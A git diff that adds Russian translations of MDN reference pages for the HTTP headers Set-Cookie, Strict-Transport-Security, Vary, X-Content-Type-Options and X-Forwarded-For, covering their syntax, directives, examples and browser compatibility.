+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li>
+ <li>{{HTTPStatus(503)}} (Service Unavailable)</li>
+ <li>{{HTTPStatus(301)}} (Moved Permanently)</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/set-cookie/index.html b/files/ru/web/http/заголовки/set-cookie/index.html
new file mode 100644
index 0000000000..d7822a1790
--- /dev/null
+++ b/files/ru/web/http/заголовки/set-cookie/index.html
@@ -0,0 +1,193 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Заголовки/Set-Cookie
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP заголовок <strong><code>Set-Cookie</code></strong> используется для отправки cookies с сервера на агент пользователя.</p>
+
+<p>Для детальной информации, смотрите руководство по  <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=None {{experimental_inline}}
+
+// Multiple directives are also possible, for example:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<ul>
+ <li>По умолчанию - хост текущего URL документа, не включая поддомены</li>
+ <li>В текущей спецификация начальная точка в имени хоста игнорируется (<code>.example.com</code>)</li>
+ <li>Cookie будут отправляться также на поддомены указанного хоста</li>
+ <li>Указывать несколько хостов недопустимо.</li>
+</ul>
+
+<ul>
+ <li>По умолчанию - хост текущего URL документа, не включая поддомены</li>
+ <li>В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)</li>
+ <li>Cookie будут отправляться также на поддомены указанного хоста</li>
+ <li>Указывать несколько хостов недопустимо.</li>
+</ul>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>Cookie начинается с пары имя-значение:
+ <ul>
+ <li><code>&lt;cookie-name&gt;</code> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительнных символов, таких как следующие: <code>( ) &lt; &gt; @ , ; : \ " /  [ ] ? = { }</code>.</li>
+ <li><code>&lt;cookie-value&gt;</code> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слэша. <strong>Кодирование:</strong> Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешенных символах в &lt;cookie-value&gt;.</li>
+ <li><strong><code>__Secure-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с  <code> __Secure-</code> (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).</li>
+ <li><strong><code>__Host-</code> prefix</strong> {{non-standard_inline}}: Cookies с именем, начинающимся с <code>__Host-</code> должны быть установлены с флагом secure <code>secure</code>, должны быть с безопасной страницы (HTTPS),  не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".</li>
+ </ul>
+ </dd>
+ <dt><code>Expires=&lt;date&gt;</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определен, cookie будет иметь время жизни <strong>сессионного cookie.   </strong>Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.</p>
+
+ <p>Когда установливается срок действия, время и дата устанавливаются не относитеьно сервера, а относительно клиента, на котором установлено cookie,</p>
+ </dd>
+ <dt><code>Max-Age=&lt;number&gt; </code>{{optional_inline}}</dt>
+ <dd>Количество секунд, после которого cookie устаревает.  Ноль или отрицательное число приводят к моментальному устареванию cookie. Старые браузеры (ie6, ie7, and ie8) не поддерживают Max-Age.  Для прочих браузеров, если оба параметра (<code>Expires</code> and <code>Max-Age</code>) установлены, <code>Max-Age</code> будет иметь преимущество.</dd>
+ <dt><code>Domain=&lt;domain-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Хост, на который будут отправляться cookie.<br>
+ <br>
+ По умолчанию - хост текущего URL документа, не включая поддомены<br>
+ В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)<br>
+ Cookie будут отправляться также на поддомены указанного хоста<br>
+ Указывать несколько хостов недопустимо.</dd>
+ <dt><code>Path=&lt;path-value&gt;</code> {{optional_inline}}</dt>
+ <dd>Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.</dd>
+ <dd>Пример: <code>/</code> - cookie будет отправляться со всеми запросами<br>
+ Пример: <code>/docs/</code> - cookie будет отправляться с запросами к директории docs и ее поддиректориям</dd>
+ <dt><code>Secure</code> {{optional_inline}}</dt>
+ <dd>Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.<br>
+ <br>
+ Cookie не будет дополнительно шифроваться, поэтому в нем не стоит хранить конфиденциальную инфомрацию.</dd>
+ <dd>
+ <p><strong>Note:</strong> небезопасные сайты (<code>http:</code>) не могут использовать cookie с атрибутом "secure" (начиная с Chrome 52+ и Firefox 52+).</p>
+ </dd>
+ <dt><code>HttpOnly</code> {{optional_inline}}</dt>
+ <dd>Запрещает JavaScript доступ к cookie</dd>
+ <dd>Полезно для защиы от XSS-атак.</dd>
+ <dt><code>SameSite=&lt;samesite-value&gt;</code> {{optional_inline}}</dt>
+</dl>
+
+<ul>
+ <li><code>Strict</code>: The browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). If the request originated from a different URL than the current one, no cookies with the <code>SameSite=Strict</code> attribute are sent.</li>
+ <li><code>Lax</code>: The cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the URL from an external site, such as by following a link</li>
+ <li><code>None</code>: The browser sends the cookie with both cross-site and same-site requests</li>
+</ul>
+
+<dl>
+ <dd>
+ <p>Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}).</p>
+
+ <p>Современные браузеры используют <code>SameSite=Lax</code>. Если необходима работа <code>SameSite=</code><code>None</code> cookie должна быть установлена с атрибутом <code>Secure</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Сессионный_cookie">Сессионный cookie</h3>
+
+<p>Сессионные cookies будут удалены после отключения клиента. В них не указываются директивы <code>Expires</code> или <code>Max-Age</code>. Учитывайте, что часто в браузере включено восстановление сессии.</p>
+
+<pre class="notranslate">Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre>
+
+<h3 id="Постоянный_cookie">Постоянный cookie</h3>
+
+<p>Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (<code>Expires</code>) или по истечении определенного промежутка времени (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+</pre>
+
+<h3 id="Неверные_домены">Неверные домены</h3>
+
+<p>Файл cookie, принадлежащий домену, который не включает исходный сервер, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">должен быть отклонен пользовательским</a>. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.</p>
+
+<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre>
+
+<h3 id="Cookie_prefixes">Cookie prefixes</h3>
+
+<p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p>
+
+<pre class="notranslate">// Both accepted when from a secure origin (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejected due to missing Secure directive
+Set-Cookie: __Secure-id=1
+
+// Rejected due to the missing Path=/ directive
+Set-Cookie: __Host-id=1; Secure
+
+// Rejected due to setting a domain
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+ <td>HTTP State Management Mechanism</td>
+ </tr>
+ <tr>
+ <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02">draft-ietf-httpbis-rfc6265bis-02</a></td>
+ <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Starting with Chrome 52 and Firefox 52, insecure sites (<code>http:</code>) can't set cookies with the "secure" directive anymore.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
+</div>
diff --git a/files/ru/web/http/заголовки/strict-transport-security/index.html b/files/ru/web/http/заголовки/strict-transport-security/index.html
new file mode 100644
index 0000000000..c63308c97e
--- /dev/null
+++ b/files/ru/web/http/заголовки/strict-transport-security/index.html
@@ -0,0 +1,112 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Заголовки/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong>  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>Время, в секундах, которое браузер должен помнить, что сайт доступен только с помощью HTTPS.</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>Если этот опциональный параметр задан, то правило также применяется ко всем саб-доменам сайта.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>Смотри {{anch("Предзагрузка Strict Transport Security")}} для большей информации. Не часть спецификации.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.</p>
+
+<p>HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.</p>
+
+<div class="note"><strong>Заметка:</strong> <code>Strict-Transport-Security</code>  заголовок <strong>игнорируется </strong>браузером, если сайт может быть доступен с помощью HTTP, потому что атакующий может перехватить HTTP соединение и внедрить заголовок или убрать его. Когда сайт доступен по HTTPS без ошибок сертификата, браузер знает, что сайт может работать по HTTPS и примет <code>Strict-Transport-Security</code> заголовок.</div>
+
+<h3 id="Пример_сценария">Пример сценария</h3>
+
+<p>Вы залогинились через бесплатную точку доступа WiFi в аэропорту и начали серфить в сети, посещая ваш сервис online-банкинга для того, чтобы проверить баланс и оплатить пару счетов. К сожалению, точка доступа на самом деле хакерский ноутбук, и они перехватывают ваш оригинальный HTTP запрос и перенаправляют вас на клонированную версию вашего банковского сайта. Теперь ваша личная информация доступна хакерам.</p>
+
+<p>Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.</p>
+
+<h3 id="Как_ведет_себя_браузер">Как ведет себя браузер</h3>
+
+<p>При первом доступе к сайту с помощью HTTPS и возврате <code>Strict-Transport-Security</code> заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.</p>
+
+<p>Когда время истечения, заданное Strict-Transport-Security заголовком, заканчивается, следующая попытка загрузки сайта с помощью HTTP будет воспринята, как обычная без автоматического использования HTTPS.</p>
+
+<p>Каждый раз, когда браузер получает Strict-Transport-Security заголовок, он обновляет время истечения этого сайта, так что сайт может обновлять эту информацию и предотвратить его завершение. Если необходимо отключить Strict-Transport-Security, установите max-age в 0 (через https соединение) и тот моментально завершит <code>Strict-Transport-Security</code> заголовок, открывая доступ через http.</p>
+
+<h2 id="Предзагрузка_Strict_Transport_Security">Предзагрузка Strict Transport Security</h2>
+
+<p>Google поддерживает<a href="https://hstspreload.org/"> HSTS preload service</a>. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.</p>
+
+<ul>
+ <li>Информация о списке HSTS предзагрузки в Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Консультация о списке HSTS предзагрузки от Firefox: <a href="https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Все текущие и будущие сабдомены будут HTTPS по max-age на 1 год. Это блокирует доступ к страницам или сабдоменам, которые могут быть доступны только по HTTP.</p>
+
+<pre class="notranslate">Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HSTS')}}</td>
+ <td>{{Spec2('HSTS')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Strict-Transport-Security")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.md">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: {{interwiki("wikipedia", "HTTP Strict Transport Security")}}</li>
+ <li>Browser test site: <a href="https://projects.dm.id.lv/Public-Key-Pins_test">HSTS and HPKP test</a></li>
+ <li><a href="/en-US/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts">Features restricted to secure contexts</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/vary/index.html b/files/ru/web/http/заголовки/vary/index.html
new file mode 100644
index 0000000000..a9bf3238e6
--- /dev/null
+++ b/files/ru/web/http/заголовки/vary/index.html
@@ -0,0 +1,81 @@
+---
+title: Vary
+slug: Web/HTTP/Заголовки/Vary
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа <strong><code>Vary</code></strong> определяет, как сопоставить будущие заголовки запроса, чтобы решить, можно ли использовать кэшированный ответ, а не запрашивать новый с исходного сервера. Он используется сервером для указания того, какие заголовки он использовал при выборе представления ресурса в <a href="/en-US/docs/Web/HTTP/Content_negotiation">алгоритме согласования</a> контента.</p>
+
+<p>Заголовок <code>Vary</code> должен быть установлен для ответа {{HTTPStatus("304")}} <code>Not Modified</code> точно так же, как он был бы установлен для эквивалентного ответа {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: <code>no-store</code>, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Dynamic_serving">Dynamic serving</h3>
+
+<p>When using the <code>Vary: User-Agent</code> header, caching servers should consider the user agent when deciding whether to serve the page from cache. For example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. It can help Google and other search engines to discover the mobile version of a page, and might also tell them that no <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> is intended.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2017/11/understanding-vary-header/">Understanding The Vary Header - Smashing Magazine</a></li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li>
+ <li><a href="https://developer.mozilla.org/docs/Web/HTTP/Content_negotiation">Content negotiation</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/x-content-type-options/index.html b/files/ru/web/http/заголовки/x-content-type-options/index.html
new file mode 100644
index 0000000000..7a1762e662
--- /dev/null
+++ b/files/ru/web/http/заголовки/x-content-type-options/index.html
@@ -0,0 +1,83 @@
+---
+title: X-Content-Type-Options
+slug: Web/HTTP/Заголовки/X-Content-Type-Options
+tags:
+ - HTTP
+ - HTTP заголовки
+ - Ответы заголовка
+ - Справка
+translation_of: Web/HTTP/Headers/X-Content-Type-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">HTTP-заголовок ответа</span></span> <code><strong>X-Content-Type-Options</strong></code> <span class="tlid-translation translation" lang="ru"><span title="">является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться.</span></span> Это позволяет отказаться от <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">перехвата MIME</a>, или, другими словами, <span class="tlid-translation translation" lang="ru"><span title="">это способ сказать, что веб-мастера знали, что они делают.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME.</span> <span title="">С тех пор другие браузеры внедрили его, даже если их алгоритмы прослушивания MIME были менее агрессивными.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.</span></span></p>
+
+<p class="blockIndicator note">Примечание: <code>nosniff</code> применяется только к типам "<code>script</code>" и "<code>style</code>". <span class="tlid-translation translation" lang="ru"><span title="">Также применение</span></span> <code>nosniff</code> <span class="tlid-translation translation" lang="ru"><span title="">к изображениям оказалось <a href="https://github.com/whatwg/fetch/issues/395">несовместимым с существующими веб-сайтами</a>.</span></span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">X-Content-Type-Options: nosniff
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>nosniff</code></dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Блокирует запрос, если запрошенный тип:</span></span>
+ <ul>
+ <li>"<code>style</code>" и его MIME не "<code>text/css</code>", или</li>
+ <li>"<code>script</code>" и его MIME не <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME-тип</a>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table" style="height: 126px; width: 628px;">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("http.headers.X-Content-Type-Options")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">Первоначальное определение</a> X-Content-Type-Options от Microsoft<span>®</span>.</li>
+ <li> Инструмент <a href="https://observatory.mozilla.org/">Обсерватория Mozilla</a> <span class="tlid-translation translation" lang="ru"><span title="">проверяющий конфигурацию (включая этот заголовок) веб-сайтов на безопасность.</span></span></li>
+ <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Смягчение MIME путаницы в Firefox</a></li>
+ <li><a href="https://fetch.spec.whatwg.org/#corb">Блокировка чтения из разных источников (Cross-Origin Read Blocking)</a></li>
+ <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Google Docs CORB explainer</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/x-forwarded-for/index.html b/files/ru/web/http/заголовки/x-forwarded-for/index.html
new file mode 100644
index 0000000000..e44d3bd8da
--- /dev/null
+++ b/files/ru/web/http/заголовки/x-forwarded-for/index.html
@@ -0,0 +1,72 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Заголовки/X-Forwarded-For
+tags:
+ - Заголовок
+ - заголовок запроса
+ - оригинальный адрес
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <code>X-Forwarded-For</code> (XFF) является <a href="https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82_%D0%B4%D0%B5-%D1%84%D0%B0%D0%BA%D1%82%D0%BE">де-факто стандартным</a> заголовком для идентификации происхождения IP-адреса клиента, подключающегося к веб-серверу через HTTP-прокси или балансировщик нагрузки. Когда трафик перехватывается между клиентами и серверами, журналы доступа к серверу содержат только IP-адрес прокси-сервера или балансировки нагрузки. Чтобы увидеть origin IP-адрес клиента, используется заголовок запроса <code>X-Forwarded-For</code>.</p>
+
+<p>Этот заголовок используется для отладки, статистики и создания зависимого от местоположения контента, и архитектурно он предоставляет секретную информацию, такую как IP-адрес клиента. Поэтому при использовании этого заголовка необходимо учитывать конфиденциальность пользователя.</p>
+
+<p>Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.</p>
+
+<p><code>X-Forwarded-For</code>  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;client&gt;</dt>
+ <dd>IP адрес клиента</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>Если запрос проходит через несколько прокси-серверов, перечислены IP-адреса каждого последующего прокси-сервера. Это означает, что самый правый IP-адрес - это IP-адрес самого последнего прокси-сервера, а самый левый IP-адрес - это IP-адрес отправляющего клиента.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>Other non-standard forms:</p>
+
+<pre># Used for some Google services
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="Спецификаци">Спецификаци</h2>
+
+<p>Не является частью любой текущей спецификации. Стандартизованная версия этого заголовка {{HTTPHeader("Forwarded")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
